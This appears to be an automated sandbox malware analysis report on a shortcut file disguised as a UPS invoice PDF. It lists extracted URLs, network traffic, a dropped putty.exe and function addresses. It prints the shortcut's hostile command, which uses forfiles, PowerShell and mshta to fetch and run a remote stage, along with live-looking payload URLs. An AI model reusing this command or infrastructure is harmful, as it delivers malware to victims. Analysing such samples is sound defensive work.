Source: E0F5C59F9FA661F6F4C50B87FEF3A15A0.10.dr	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c
Source: powershell.exe, 00000007.00000002.1668722382.000001FB004B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1668722382.000001FB004B0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: powershell.exe, 00000007.00000002.1668722382.000001FB004B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1668722382.000001FB004B0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: powershell.exe, 00000007.00000002.1668722382.000001FB004B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1668722382.000001FB004B0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: svchost.exe, 00000006.00000002.2769097256.00000253D7800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: powershell.exe, 00000007.00000002.1668722382.000001FB004B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1668722382.000001FB004B0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.6.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000007.00000002.1725282576.000001FB10073000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000007.00000002.1668722382.000001FB004B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1668722382.000001FB004B0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000007.00000002.1668722382.000001FB004B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1668722382.000001FB004B0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000007.00000002.1668722382.000001FB0022B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000007.00000002.1668722382.000001FB00001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.1668722382.000001FB0022B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000007.00000002.1668722382.000001FB00001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000007.00000002.1725282576.000001FB10073000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.1725282576.000001FB10073000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.1725282576.000001FB10073000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: edb.log.6.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000006.00000003.1556558495.00000253D7630000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr, edb.log.6.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:
Source: powershell.exe, 00000007.00000002.1668722382.000001FB0022B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: mshta.exe, 00000004.00000003.1790203146.0000023797674000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1792532536.0000023797675000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1782232696.0000023797674000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: powershell.exe, 00000007.00000002.1668722382.000001FB0022B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nebulaquestcorporation.cc
Source: mshta.exe, 00000004.00000003.1782232696.000002379763A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1792460496.000002379763A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nebulaquestcorporation.cc/
Source: mshta.exe, 00000004.00000003.1788162718.0000023F9A1A7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1781945206.00000237976AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793828055.0000023F9E0BE000.00000004.00000020.00020000.00000000.sdmp, Invoice-UPS-218931.pdf.lnk.mal.lnk	String found in binary or memory: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage
Source: powershell.exe	String found in binary or memory: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage$global:?
Source: mshta.exe, 00000004.00000003.1782232696.00000237975FD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1792460496.00000237975FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage.
Source: mshta.exe, 00000004.00000003.1782232696.000002379763A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1792460496.000002379763A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage...
Source: mshta.exe, 00000004.00000003.1790203146.0000023797681000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1792575197.0000023797681000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1782232696.0000023797681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage...8
Source: mshta.exe, 00000004.00000003.1787060368.0000023F9A19E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793563743.0000023F9A1A4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1788076442.0000023F9A1A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1780951650.0000023F9A19E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1790777524.0000023F9A1A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage...w
Source: mshta.exe, 00000004.00000003.1782232696.00000237975FD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1792460496.00000237975FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage/I
Source: mshta.exe, 00000004.00000003.1782232696.00000237975FD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1792460496.00000237975FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage6
Source: mshta.exe, 00000004.00000002.1792396309.00000237975C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1792606600.00000237976B0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1787859516.00000237976AF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1781945206.00000237976AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstageC:
Source: mshta.exe, 00000004.00000002.1792236967.0000023797580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstageH
Source: mshta.exe, 00000004.00000002.1792262251.0000023797590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstageLE_STRINGj
Source: mshta.exe, 00000004.00000002.1792396309.00000237975C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstageMI
Source: mshta.exe, 00000004.00000003.1780875436.0000023F9E0BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstageYYC:
Source: mshta.exe, 00000004.00000002.1792396309.00000237975E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstagees#M
Source: mshta.exe, 00000004.00000003.1782232696.00000237975FD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1792460496.00000237975FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstagegs
Source: mshta.exe, 00000004.00000003.1789392993.0000023F9FAA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstagehttps://nebulaquestcorporation.cc/cdnusa/inv
Source: forfiles.exe, 00000001.00000002.1527302987.00000229F2D10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nebulaquestcorporation.cc/cdnusa/invoiceupsstagero
Source: powershell.exe, 00000007.00000002.1668722382.000001FB004B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nebulaquestcorporation.cc/cdnusa/putty.exep
Source: powershell.exe, 00000007.00000002.1668722382.000001FB0022B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nebulaquestcorporation.cc/cdnusa/upsinvoice.pdf0
Source: powershell.exe, 00000007.00000002.1725282576.000001FB10073000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000007.00000002.1668722382.000001FB004B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1668722382.000001FB004B0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe, putty.exe, 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmp, putty.exe, 0000000C.00000000.1637581496.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmp, putty.exe.7.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/
Source: powershell.exe, 00000007.00000002.1668722382.000001FB004B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1668722382.000001FB004B0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 5.188.88.146:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.188.88.146:443 -> 192.168.2.8:49708 version: TLS 1.2

Source: C:\Users\user\AppData\Roaming\putty.exe

Code function: 12_2_00007FF6785DB950 OpenClipboard,GetClipboardData,GetClipboardData,SendMessageA,CloseClipboard,

12_2_00007FF6785DB950

Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785D7060 GlobalAlloc,GlobalLock,GlobalUnlock,SendMessageA,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,GlobalFree,SendMessageA,		12_2_00007FF6785D7060
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785D85D0 WideCharToMultiByte,GlobalAlloc,GlobalAlloc,GlobalAlloc,GlobalLock,GlobalLock,WideCharToMultiByte,GlobalFree,GlobalFree,GlobalUnlock,GlobalFree,GlobalFree,WideCharToMultiByte,GlobalAlloc,GlobalLock,GlobalUnlock,GlobalUnlock,GlobalUnlock,GlobalUnlock,SendMessageA,OpenClipboard,EmptyClipboard,SetClipboardData,SetClipboardData,SetClipboardData,RegisterClipboardFormatA,SetClipboardData,CloseClipboard,SendMessageA,GlobalFree,GlobalFree,GlobalFree,		12_2_00007FF6785D85D0

Source: C:\Users\user\AppData\Roaming\putty.exe

Code function: 12_2_00007FF6785DB950 OpenClipboard,GetClipboardData,GetClipboardData,SendMessageA,CloseClipboard,

12_2_00007FF6785DB950

Source: C:\Users\user\AppData\Roaming\putty.exe

Code function: 12_2_00007FF6785D1EED ShowCursor,GetCursorPos,MonitorFromPoint,GetMonitorInfoA,IsZoomed,GetWindowLongPtrA,SendMessageA,GetKeyboardState,GetKeyboardState,GetMessageTime,ReleaseCapture,SetCapture,

12_2_00007FF6785D1EED

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 4620, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\putty.exe

Jump to dropped file

Very long command line found

Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 3325
Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 3325			Jump to behavior

Windows shortcut file (LNK) contains suspicious command line arguments

Source: Invoice-UPS-218931.pdf.lnk.mal.lnk

LNK file: /p C:\Windows /m write.exe /c "powershell . mshta https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage"

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67861BD50	12_2_00007FF67861BD50
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785D53E3	12_2_00007FF6785D53E3
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785DCB24	12_2_00007FF6785DCB24
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785F2C60	12_2_00007FF6785F2C60
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67860AEF4	12_2_00007FF67860AEF4
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785F6F7C	12_2_00007FF6785F6F7C
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785F65F0	12_2_00007FF6785F65F0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785DB9B0	12_2_00007FF6785DB9B0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6786AF964	12_2_00007FF6786AF964
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67868F9DC	12_2_00007FF67868F9DC
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6786B1A94	12_2_00007FF6786B1A94
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67860DA70	12_2_00007FF67860DA70
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67864BB20	12_2_00007FF67864BB20
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67869BB90	12_2_00007FF67869BB90
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785F3C20	12_2_00007FF6785F3C20
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678617C30	12_2_00007FF678617C30
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678651CB0	12_2_00007FF678651CB0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785D7D50	12_2_00007FF6785D7D50
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67864DE20	12_2_00007FF67864DE20
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785D9E00	12_2_00007FF6785D9E00
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6786ADDF8	12_2_00007FF6786ADDF8
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678623EA0	12_2_00007FF678623EA0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67860FE90	12_2_00007FF67860FE90
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67864FE60	12_2_00007FF67864FE60
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785D1EED	12_2_00007FF6785D1EED
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785DA01E	12_2_00007FF6785DA01E
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785DA032	12_2_00007FF6785DA032
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785E4030	12_2_00007FF6785E4030
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785D6080	12_2_00007FF6785D6080
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785DA03E	12_2_00007FF6785DA03E
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6786B60D4	12_2_00007FF6786B60D4
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6786A51A8	12_2_00007FF6786A51A8
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785D1160	12_2_00007FF6785D1160
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67860D150	12_2_00007FF67860D150
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67864F230	12_2_00007FF67864F230
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785D11BB	12_2_00007FF6785D11BB
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785DF280	12_2_00007FF6785DF280
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67860F260	12_2_00007FF67860F260
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785E1330	12_2_00007FF6785E1330
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678605310	12_2_00007FF678605310
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6786232EC	12_2_00007FF6786232EC
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67864D2D0	12_2_00007FF67864D2D0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785DD2D0	12_2_00007FF6785DD2D0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678693384	12_2_00007FF678693384
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678619430	12_2_00007FF678619430
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67864D430	12_2_00007FF67864D430
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785D1426	12_2_00007FF6785D1426
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67865D410	12_2_00007FF67865D410
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785D7410	12_2_00007FF6785D7410
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785D93C0	12_2_00007FF6785D93C0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6786A5490	12_2_00007FF6786A5490
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678649480	12_2_00007FF678649480
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785E4A80	12_2_00007FF6785E4A80
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6786515A0	12_2_00007FF6786515A0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785F1560	12_2_00007FF6785F1560
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67860F550	12_2_00007FF67860F550
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6786176A0	12_2_00007FF6786176A0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785F1560	12_2_00007FF6785F1560
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785E3650	12_2_00007FF6785E3650
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785F3700	12_2_00007FF6785F3700
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678601780	12_2_00007FF678601780
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785DD810	12_2_00007FF6785DD810
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67869F804	12_2_00007FF67869F804
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6786A5888	12_2_00007FF6786A5888
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785E5890	12_2_00007FF6785E5890
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67869387C	12_2_00007FF67869387C
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785D9920	12_2_00007FF6785D9920
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6786158D0	12_2_00007FF6786158D0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678616A00	12_2_00007FF678616A00
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67864A9C0	12_2_00007FF67864A9C0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785E4A80	12_2_00007FF6785E4A80
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678622A80	12_2_00007FF678622A80
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678690A48	12_2_00007FF678690A48
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785E0B00	12_2_00007FF6785E0B00
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678652B10	12_2_00007FF678652B10
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678614B00	12_2_00007FF678614B00
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785FAAF0	12_2_00007FF6785FAAF0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67868EB94	12_2_00007FF67868EB94
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678690C30	12_2_00007FF678690C30
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785F4C30	12_2_00007FF6785F4C30
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678696CA4	12_2_00007FF678696CA4
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785ECDA0	12_2_00007FF6785ECDA0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785DED80	12_2_00007FF6785DED80
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678628E20	12_2_00007FF678628E20
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678690E18	12_2_00007FF678690E18
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67864EE10	12_2_00007FF67864EE10
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678692E80	12_2_00007FF678692E80
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678650F20	12_2_00007FF678650F20
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6786AAEC8	12_2_00007FF6786AAEC8
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678616F90	12_2_00007FF678616F90
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67862B020	12_2_00007FF67862B020
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678607010	12_2_00007FF678607010
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678646FE0	12_2_00007FF678646FE0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785FF060	12_2_00007FF6785FF060
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678649120	12_2_00007FF678649120
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67864E170	12_2_00007FF67864E170
